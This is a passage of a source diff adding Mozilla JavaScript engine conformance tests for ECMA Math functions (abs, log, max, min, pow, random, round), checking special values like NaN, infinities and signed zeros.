+new TestCase( SECTION,
+ "Math.abs( false )",
+ 0,
+ Math.abs(false) );
+
+new TestCase( SECTION,
+ "Math.abs( string primitive)",
+ Number.NaN,
+ Math.abs("a string primitive") );
+
+new TestCase( SECTION,
+ "Math.abs( string object )",
+ Number.NaN,
+ Math.abs(new String( 'a String object' )) );
+
+new TestCase( SECTION,
+ "Math.abs( Number.NaN )",
+ Number.NaN,
+ Math.abs(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.abs(0)",
+ 0,
+ Math.abs( 0 ) );
+
+new TestCase( SECTION,
+ "Math.abs( -0 )",
+ 0,
+ Math.abs(-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.abs(-0)",
+ Infinity,
+ Infinity/Math.abs(-0) );
+
+new TestCase( SECTION,
+ "Math.abs( -Infinity )",
+ Number.POSITIVE_INFINITY,
+ Math.abs( Number.NEGATIVE_INFINITY ) );
+
+new TestCase( SECTION,
+ "Math.abs( Infinity )",
+ Number.POSITIVE_INFINITY,
+ Math.abs( Number.POSITIVE_INFINITY ) );
+
+new TestCase( SECTION,
+ "Math.abs( - MAX_VALUE )",
+ Number.MAX_VALUE,
+ Math.abs( - Number.MAX_VALUE ) );
+
+new TestCase( SECTION,
+ "Math.abs( - MIN_VALUE )",
+ Number.MIN_VALUE,
+ Math.abs( -Number.MIN_VALUE ) );
+
+new TestCase( SECTION,
+ "Math.abs( MAX_VALUE )",
+ Number.MAX_VALUE,
+ Math.abs( Number.MAX_VALUE ) );
+
+new TestCase( SECTION,
+ "Math.abs( MIN_VALUE )",
+ Number.MIN_VALUE,
+ Math.abs( Number.MIN_VALUE ) );
+
+new TestCase( SECTION,
+ "Math.abs( -1 )",
+ 1,
+ Math.abs( -1 ) );
+
+new TestCase( SECTION,
+ "Math.abs( new Number( -1 ) )",
+ 1,
+ Math.abs( new Number(-1) ) );
+
+new TestCase( SECTION,
+ "Math.abs( 1 )",
+ 1,
+ Math.abs( 1 ) );
+
+new TestCase( SECTION,
+ "Math.abs( Math.PI )",
+ Math.PI,
+ Math.abs( Math.PI ) );
+
+new TestCase( SECTION,
+ "Math.abs( -Math.PI )",
+ Math.PI,
+ Math.abs( -Math.PI ) );
+
+new TestCase( SECTION,
+ "Math.abs(-1/100000000)",
+ 1/100000000,
+ Math.abs(-1/100000000) );
+
+new TestCase( SECTION,
+ "Math.abs(-Math.pow(2,32))",
+ Math.pow(2,32),
+ Math.abs(-Math.pow(2,32)) );
+
+new TestCase( SECTION,
+ "Math.abs(Math.pow(2,32))",
+ Math.pow(2,32),
+ Math.abs(Math.pow(2,32)) );
+
+new TestCase( SECTION,
+ "Math.abs( -0xfff )",
+ 4095,
+ Math.abs( -0xfff ) );
+
+new TestCase( SECTION,
+ "Math.abs( -0777 )",
+ 511,
+ Math.abs(-0777 ) );
+
+new TestCase( SECTION,
+ "Math.abs('-1e-1')",
+ 0.1,
+ Math.abs('-1e-1') );
+
+new TestCase( SECTION,
+ "Math.abs('0xff')",
+ 255,
+ Math.abs('0xff') );
+
+new TestCase( SECTION,
+ "Math.abs('077')",
+ 77,
+ Math.abs('077') );
+
+new TestCase( SECTION,
+ "Math.abs( 'Infinity' )",
+ Infinity,
+ Math.abs('Infinity') );
+
+new TestCase( SECTION,
+ "Math.abs( '-Infinity' )",
+ Infinity,
+ Math.abs('-Infinity') );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.10.js b/js/src/tests/ecma/Math/15.8.2.10.js
new file mode 100644
index 000000000..6b53a1323
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.10.js
@@ -0,0 +1,119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.10.js
+ ECMA Section: 15.8.2.10 Math.log(x)
+ Description: return an approximiation to the natural logarithm of
+ the argument.
+ special cases:
+ - if arg is NaN result is NaN
+ - if arg is <0 result is NaN
+ - if arg is 0 or -0 result is -Infinity
+ - if arg is 1 result is 0
+ - if arg is Infinity result is Infinity
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.10";
+var VERSION = "ECMA_1";
+var TITLE = "Math.log(x)";
+var BUGNUMBER = "77391";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "Math.log.length",
+ 1,
+ Math.log.length );
+
+
+new TestCase( SECTION,
+ "Math.log()",
+ Number.NaN,
+ Math.log() );
+
+new TestCase( SECTION,
+ "Math.log(void 0)",
+ Number.NaN,
+ Math.log(void 0) );
+
+new TestCase( SECTION,
+ "Math.log(null)",
+ Number.NEGATIVE_INFINITY,
+ Math.log(null) );
+
+new TestCase( SECTION,
+ "Math.log(true)",
+ 0,
+ Math.log(true) );
+
+new TestCase( SECTION,
+ "Math.log(false)",
+ -Infinity,
+ Math.log(false) );
+
+new TestCase( SECTION,
+ "Math.log('0')",
+ -Infinity,
+ Math.log('0') );
+
+new TestCase( SECTION,
+ "Math.log('1')",
+ 0,
+ Math.log('1') );
+
+new TestCase( SECTION,
+ "Math.log('Infinity')",
+ Infinity,
+ Math.log("Infinity") );
+
+
+new TestCase( SECTION,
+ "Math.log(NaN)",
+ Number.NaN,
+ Math.log(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.log(-0.0000001)",
+ Number.NaN,
+ Math.log(-0.000001) );
+
+new TestCase( SECTION,
+ "Math.log(-1)",
+ Number.NaN,
+ Math.log(-1) );
+
+new TestCase( SECTION,
+ "Math.log(0)",
+ Number.NEGATIVE_INFINITY,
+ Math.log(0) );
+
+new TestCase( SECTION,
+ "Math.log(-0)",
+ Number.NEGATIVE_INFINITY,
+ Math.log(-0));
+
+new TestCase( SECTION,
+ "Math.log(1)",
+ 0,
+ Math.log(1) );
+
+new TestCase( SECTION,
+ "Math.log(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.log(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.log(-Infinity)",
+ Number.NaN,
+ Math.log(Number.NEGATIVE_INFINITY) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.11.js b/js/src/tests/ecma/Math/15.8.2.11.js
new file mode 100644
index 000000000..5b3bbfe83
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.11.js
@@ -0,0 +1,166 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.11.js
+ ECMA Section: 15.8.2.11 Math.max(x, y)
+ Description: return the smaller of the two arguments.
+ special cases:
+ - if x is NaN or y is NaN return NaN
+ - if x < y return x
+ - if y > x return y
+ - if x is +0 and y is +0 return +0
+ - if x is +0 and y is -0 return -0
+ - if x is -0 and y is +0 return -0
+ - if x is -0 and y is -0 return -0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.11";
+var VERSION = "ECMA_1";
+var TITLE = "Math.max(x, y)";
+var BUGNUMBER="76439";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.max.length",
+ 2,
+ Math.max.length );
+
+new TestCase( SECTION,
+ "Math.max()",
+ -Infinity,
+ Math.max() );
+
+new TestCase( SECTION,
+ "Math.max(void 0, 1)",
+ Number.NaN,
+ Math.max( void 0, 1 ) );
+
+new TestCase( SECTION,
+ "Math.max(void 0, void 0)",
+ Number.NaN,
+ Math.max( void 0, void 0 ) );
+
+new TestCase( SECTION,
+ "Math.max(null, 1)",
+ 1,
+ Math.max( null, 1 ) );
+
+new TestCase( SECTION,
+ "Math.max(-1, null)",
+ 0,
+ Math.max( -1, null ) );
+
+new TestCase( SECTION,
+ "Math.max(true, false)",
+ 1,
+ Math.max(true,false) );
+
+new TestCase( SECTION,
+ "Math.max('-99','99')",
+ 99,
+ Math.max( "-99","99") );
+
+new TestCase( SECTION,
+ "Math.max(NaN, Infinity)",
+ Number.NaN,
+ Math.max(Number.NaN,Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.max(NaN, 0)",
+ Number.NaN,
+ Math.max(Number.NaN, 0) );
+
+new TestCase( SECTION,
+ "Math.max('a string', 0)",
+ Number.NaN,
+ Math.max("a string", 0) );
+
+new TestCase( SECTION,
+ "Math.max(NaN, 1)",
+ Number.NaN,
+ Math.max(Number.NaN,1) );
+
+new TestCase( SECTION,
+ "Math.max('a string',Infinity)",
+ Number.NaN,
+ Math.max("a string", Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.max(Infinity, NaN)",
+ Number.NaN,
+ Math.max( Number.POSITIVE_INFINITY, Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.max(NaN, NaN)",
+ Number.NaN,
+ Math.max(Number.NaN, Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.max(0,NaN)",
+ Number.NaN,
+ Math.max(0,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.max(1, NaN)",
+ Number.NaN,
+ Math.max(1, Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.max(0,0)",
+ 0,
+ Math.max(0,0) );
+
+new TestCase( SECTION,
+ "Math.max(0,-0)",
+ 0,
+ Math.max(0,-0) );
+
+new TestCase( SECTION,
+ "Math.max(-0,0)",
+ 0,
+ Math.max(-0,0) );
+
+new TestCase( SECTION,
+ "Math.max(-0,-0)",
+ -0,
+ Math.max(-0,-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.max(-0,-0)",
+ -Infinity,
+ Infinity/Math.max(-0,-0) );
+
+new TestCase( SECTION,
+ "Math.max(Infinity, Number.MAX_VALUE)", Number.POSITIVE_INFINITY,
+ Math.max(Number.POSITIVE_INFINITY, Number.MAX_VALUE) );
+
+new TestCase( SECTION,
+ "Math.max(Infinity, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.max(Number.POSITIVE_INFINITY,Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.max(-Infinity,-Infinity)",
+ Number.NEGATIVE_INFINITY,
+ Math.max(Number.NEGATIVE_INFINITY,Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.max(1,.99999999999999)",
+ 1,
+ Math.max(1,.99999999999999) );
+
+new TestCase( SECTION,
+ "Math.max(-1,-.99999999999999)",
+ -.99999999999999,
+ Math.max(-1,-.99999999999999) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.12.js b/js/src/tests/ecma/Math/15.8.2.12.js
new file mode 100644
index 000000000..9c67be1c9
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.12.js
@@ -0,0 +1,143 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.12.js
+ ECMA Section: 15.8.2.12 Math.min(x, y)
+ Description: return the smaller of the two arguments.
+ special cases:
+ - if x is NaN or y is NaN return NaN
+ - if x < y return x
+ - if y > x return y
+ - if x is +0 and y is +0 return +0
+ - if x is +0 and y is -0 return -0
+ - if x is -0 and y is +0 return -0
+ - if x is -0 and y is -0 return -0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+
+var SECTION = "15.8.2.12";
+var VERSION = "ECMA_1";
+var TITLE = "Math.min(x, y)";
+var BUGNUMBER="76439";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.min.length",
+ 2,
+ Math.min.length );
+
+new TestCase( SECTION,
+ "Math.min()",
+ Infinity,
+ Math.min() );
+
+new TestCase( SECTION,
+ "Math.min(void 0, 1)",
+ Number.NaN,
+ Math.min( void 0, 1 ) );
+
+new TestCase( SECTION,
+ "Math.min(void 0, void 0)",
+ Number.NaN,
+ Math.min( void 0, void 0 ) );
+
+new TestCase( SECTION,
+ "Math.min(null, 1)",
+ 0,
+ Math.min( null, 1 ) );
+
+new TestCase( SECTION,
+ "Math.min(-1, null)",
+ -1,
+ Math.min( -1, null ) );
+
+new TestCase( SECTION,
+ "Math.min(true, false)",
+ 0,
+ Math.min(true,false) );
+
+new TestCase( SECTION,
+ "Math.min('-99','99')",
+ -99,
+ Math.min( "-99","99") );
+
+new TestCase( SECTION,
+ "Math.min(NaN,0)",
+ Number.NaN,
+ Math.min(Number.NaN,0) );
+
+new TestCase( SECTION,
+ "Math.min(NaN,1)",
+ Number.NaN,
+ Math.min(Number.NaN,1) );
+
+new TestCase( SECTION,
+ "Math.min(NaN,-1)",
+ Number.NaN,
+ Math.min(Number.NaN,-1) );
+
+new TestCase( SECTION,
+ "Math.min(0,NaN)",
+ Number.NaN,
+ Math.min(0,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.min(1,NaN)",
+ Number.NaN,
+ Math.min(1,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.min(-1,NaN)",
+ Number.NaN,
+ Math.min(-1,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.min(NaN,NaN)",
+ Number.NaN,
+ Math.min(Number.NaN,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.min(1,1.0000000001)",
+ 1,
+ Math.min(1,1.0000000001) );
+
+new TestCase( SECTION,
+ "Math.min(1.0000000001,1)",
+ 1,
+ Math.min(1.0000000001,1) );
+
+new TestCase( SECTION,
+ "Math.min(0,0)",
+ 0,
+ Math.min(0,0) );
+
+new TestCase( SECTION,
+ "Math.min(0,-0)",
+ -0,
+ Math.min(0,-0) );
+
+new TestCase( SECTION,
+ "Math.min(-0,-0)",
+ -0,
+ Math.min(-0,-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.min(0,-0)",
+ -Infinity,
+ Infinity/Math.min(0,-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.min(-0,-0)",
+ -Infinity,
+ Infinity/Math.min(-0,-0) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.13.js b/js/src/tests/ecma/Math/15.8.2.13.js
new file mode 100644
index 000000000..c7d562217
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.13.js
@@ -0,0 +1,351 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.13.js
+ ECMA Section: 15.8.2.13 Math.pow(x, y)
+ Description: return an approximation to the result of x
+ to the power of y. there are many special cases;
+ refer to the spec.
+ Author: christine@netscape.com
+ Date: 9 july 1997
+*/
+
+var SECTION = "15.8.2.13";
+var VERSION = "ECMA_1";
+var TITLE = "Math.pow(x, y)";
+var BUGNUMBER="77141";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.pow.length",
+ 2,
+ Math.pow.length );
+
+new TestCase( SECTION,
+ "Math.pow()",
+ Number.NaN,
+ Math.pow() );
+
+new TestCase( SECTION,
+ "Math.pow(null, null)",
+ 1,
+ Math.pow(null,null) );
+
+new TestCase( SECTION,
+ "Math.pow(void 0, void 0)",
+ Number.NaN,
+ Math.pow(void 0, void 0));
+
+new TestCase( SECTION,
+ "Math.pow(true, false)",
+ 1,
+ Math.pow(true, false) );
+
+new TestCase( SECTION,
+ "Math.pow(false,true)",
+ 0,
+ Math.pow(false,true) );
+
+new TestCase( SECTION,
+ "Math.pow('2','32')",
+ 4294967296,
+ Math.pow('2','32') );
+
+new TestCase( SECTION,
+ "Math.pow(1,NaN)",
+ Number.NaN,
+ Math.pow(1,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.pow(0,NaN)",
+ Number.NaN,
+ Math.pow(0,Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.pow(NaN,0)",
+ 1,
+ Math.pow(Number.NaN,0) );
+
+new TestCase( SECTION,
+ "Math.pow(NaN,-0)",
+ 1,
+ Math.pow(Number.NaN,-0) );
+
+new TestCase( SECTION,
+ "Math.pow(NaN,1)",
+ Number.NaN,
+ Math.pow(Number.NaN, 1) );
+
+new TestCase( SECTION,
+ "Math.pow(NaN,.5)",
+ Number.NaN,
+ Math.pow(Number.NaN, .5) );
+
+new TestCase( SECTION,
+ "Math.pow(1.00000001, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(1.00000001, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(1.00000001, -Infinity)",
+ 0,
+ Math.pow(1.00000001, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-1.00000001, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-1.00000001,Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-1.00000001, -Infinity)",
+ 0,
+ Math.pow(-1.00000001,Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(1, Infinity)",
+ Number.NaN,
+ Math.pow(1, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(1, -Infinity)",
+ Number.NaN,
+ Math.pow(1, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-1, Infinity)",
+ Number.NaN,
+ Math.pow(-1, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-1, -Infinity)",
+ Number.NaN,
+ Math.pow(-1, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(.0000000009, Infinity)",
+ 0,
+ Math.pow(.0000000009, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-.0000000009, Infinity)",
+ 0,
+ Math.pow(-.0000000009, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(.0000000009, -Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-.0000000009, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(Infinity, .00000000001)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY,.00000000001) );
+
+new TestCase( SECTION,
+ "Math.pow(Infinity, 1)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY, 1) );
+
+new TestCase( SECTION,
+ "Math.pow(Infinity, -.00000000001)",
+ 0,
+ Math.pow(Number.POSITIVE_INFINITY, -.00000000001) );
+
+new TestCase( SECTION,
+ "Math.pow(Infinity, -1)",
+ 0,
+ Math.pow(Number.POSITIVE_INFINITY, -1) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, 1)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 1) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, 333)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 333) );
+
+new TestCase( SECTION,
+ "Math.pow(Infinity, 2)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.POSITIVE_INFINITY, 2) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, 666)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 666) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, 0.5)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, 0.5) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, -1)",
+ -0,
+ Math.pow(Number.NEGATIVE_INFINITY, -1) );
+
+new TestCase( SECTION,
+ "Infinity/Math.pow(-Infinity, -1)",
+ -Infinity,
+ Infinity/Math.pow(Number.NEGATIVE_INFINITY, -1) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, -3)",
+ -0,
+ Math.pow(Number.NEGATIVE_INFINITY, -3) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, -2)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY, -2) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, -0.5)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY,-0.5) );
+
+new TestCase( SECTION,
+ "Math.pow(-Infinity, -Infinity)",
+ 0,
+ Math.pow(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(0, 1)",
+ 0,
+ Math.pow(0,1) );
+
+new TestCase( SECTION,
+ "Math.pow(0, 0)",
+ 1,
+ Math.pow(0,0) );
+
+new TestCase( SECTION,
+ "Math.pow(1, 0)",
+ 1,
+ Math.pow(1,0) );
+
+new TestCase( SECTION,
+ "Math.pow(-1, 0)",
+ 1,
+ Math.pow(-1,0) );
+
+new TestCase( SECTION,
+ "Math.pow(0, 0.5)",
+ 0,
+ Math.pow(0,0.5) );
+
+new TestCase( SECTION,
+ "Math.pow(0, 1000)",
+ 0,
+ Math.pow(0,1000) );
+
+new TestCase( SECTION,
+ "Math.pow(0, Infinity)",
+ 0,
+ Math.pow(0, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(0, -1)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -1) );
+
+new TestCase( SECTION,
+ "Math.pow(0, -0.5)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -0.5) );
+
+new TestCase( SECTION,
+ "Math.pow(0, -1000)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, -1000) );
+
+new TestCase( SECTION,
+ "Math.pow(0, -Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(0, Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, 1)",
+ -0,
+ Math.pow(-0, 1) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, 3)",
+ -0,
+ Math.pow(-0,3) );
+
+new TestCase( SECTION,
+ "Infinity/Math.pow(-0, 1)",
+ -Infinity,
+ Infinity/Math.pow(-0, 1) );
+
+new TestCase( SECTION,
+ "Infinity/Math.pow(-0, 3)",
+ -Infinity,
+ Infinity/Math.pow(-0,3) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, 2)",
+ 0,
+ Math.pow(-0,2) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, Infinity)",
+ 0,
+ Math.pow(-0, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, -1)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(-0, -1) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, -10001)",
+ Number.NEGATIVE_INFINITY,
+ Math.pow(-0, -10001) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, -2)",
+ Number.POSITIVE_INFINITY,
+ Math.pow(-0, -2) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, 0.5)",
+ 0,
+ Math.pow(-0, 0.5) );
+
+new TestCase( SECTION,
+ "Math.pow(-0, Infinity)",
+ 0,
+ Math.pow(-0, Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.pow(-1, 0.5)",
+ Number.NaN,
+ Math.pow(-1, 0.5) );
+
+new TestCase( SECTION,
+ "Math.pow(-1, NaN)",
+ Number.NaN,
+ Math.pow(-1, Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.pow(-1, -0.5)",
+ Number.NaN,
+ Math.pow(-1, -0.5) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.14.js b/js/src/tests/ecma/Math/15.8.2.14.js
new file mode 100644
index 000000000..2c15a8481
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.14.js
@@ -0,0 +1,45 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.14.js
+ ECMA Section: 15.8.2.14 Math.random()
+ returns a number value x with a positive sign
+ with 1 > x >= 0 with approximately uniform
+ distribution over that range, using an
+ implementation-dependent algorithm or strategy.
+ This function takes no arguments.
+
+ Description:
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.2.14";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.random()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+for ( var item = 0; item < 100; item++ ) {
+ var testcase = new TestCase( SECTION,
+ "Math.random()",
+ "pass",
+ null );
+ testcase.reason = Math.random();
+ testcase.actual = "pass";
+
+ if ( ! ( testcase.reason >= 0) ) {
+ testcase.actual = "fail";
+ }
+
+ if ( ! (testcase.reason < 1) ) {
+ testcase.actual = "fail";
+ }
+}
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.15.js b/js/src/tests/ecma/Math/15.8.2.15.js
new file mode 100644
index 000000000..4ef748211
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.15.js
@@ -0,0 +1,168 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.15.js
+ ECMA Section: 15.8.2.15 Math.round(x)
+ Description: return the greatest number value that is closest to the
+ argument and is an integer. if two integers are equally
+ close to the argument. then the result is the number value
+ that is closer to Infinity. if the argument is an integer,
+ return the argument.
+ special cases:
+ - if x is NaN return NaN
+ - if x = +0 return +0
+ - if x = -0 return -0
+ - if x = Infinity return Infinity
+ - if x = -Infinity return -Infinity
+ - if 0 < x < 0.5 return 0
+ - if -0.5 <= x < 0 return -0
+ example:
+ Math.round( 3.5 ) == 4
+ Math.round( -3.5 ) == 3
+ also:
+ - Math.round(x) == Math.floor( x + 0.5 )
+ except if x = -0. in that case, Math.round(x) = -0
+
+ and Math.floor( x+0.5 ) = +0
+
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.15";
+var VERSION = "ECMA_1";
+var TITLE = "Math.round(x)";
+var BUGNUMBER="331411";
+
+var EXCLUDE = "true";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.round.length",
+ 1,
+ Math.round.length );
+
+new TestCase( SECTION,
+ "Math.round()",
+ Number.NaN,
+ Math.round() );
+
+new TestCase( SECTION,
+ "Math.round(null)",
+ 0,
+ Math.round(0) );
+
+new TestCase( SECTION,
+ "Math.round(void 0)",
+ Number.NaN,
+ Math.round(void 0) );
+
+new TestCase( SECTION,
+ "Math.round(true)",
+ 1,
+ Math.round(true) );
+
+new TestCase( SECTION,
+ "Math.round(false)",
+ 0,
+ Math.round(false) );
+
+new TestCase( SECTION,
+ "Math.round('.99999')",
+ 1,
+ Math.round('.99999') );
+
+new TestCase( SECTION,
+ "Math.round('12345e-2')",
+ 123,
+ Math.round('12345e-2') );
+
+new TestCase( SECTION,
+ "Math.round(NaN)",
+ Number.NaN,
+ Math.round(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.round(0)",
+ 0,
+ Math.round(0) );
+
+new TestCase( SECTION,
+ "Math.round(-0)",
+ -0,
+ Math.round(-0));
+
+new TestCase( SECTION,
+ "Infinity/Math.round(-0)",
+ -Infinity,
+ Infinity/Math.round(-0) );
+
+new TestCase( SECTION,
+ "Math.round(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.round(Number.POSITIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.round(-Infinity)",
+ Number.NEGATIVE_INFINITY,
+ Math.round(Number.NEGATIVE_INFINITY));
+
+new TestCase( SECTION,
+ "Math.round(0.49)",
+ 0,
+ Math.round(0.49));
+
+new TestCase( SECTION,
+ "Math.round(0.5)",
+ 1,
+ Math.round(0.5));
+
+new TestCase( SECTION,
+ "Math.round(0.51)",
+ 1,
+ Math.round(0.51));
+
+new TestCase( SECTION,
+ "Math.round(-0.49)",
+ -0,
+ Math.round(-0.49));
+
+new TestCase( SECTION,
+ "Math.round(-0.5)",
+ -0,
+ Math.round(-0.5));
+
+new TestCase( SECTION,
+ "Infinity/Math.round(-0.49)",
+ -Infinity,
+ Infinity/Math.round(-0.49));
+
+new TestCase( SECTION,
+ "Infinity/Math.round(-0.5)",
+ -Infinity,
+ Infinity/Math.round(-0.5));
+
+new TestCase( SECTION,
+ "Math.round(-0.51)",
+ -1,
+ Math.round(-0.51));
+
+new TestCase( SECTION,
+ "Math.round(3.5)",
+ 4,
+ Math.round(3.5));
+
+new TestCase( SECTION,
+ "Math.round(-3.5)",
+ -3,
+ Math.round(-3));
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.16.js b/js/src/tests/ecma/Math/15.8.2.16.js
new file mode 100644
index 000000000..56a12ee09
--- /dev/null
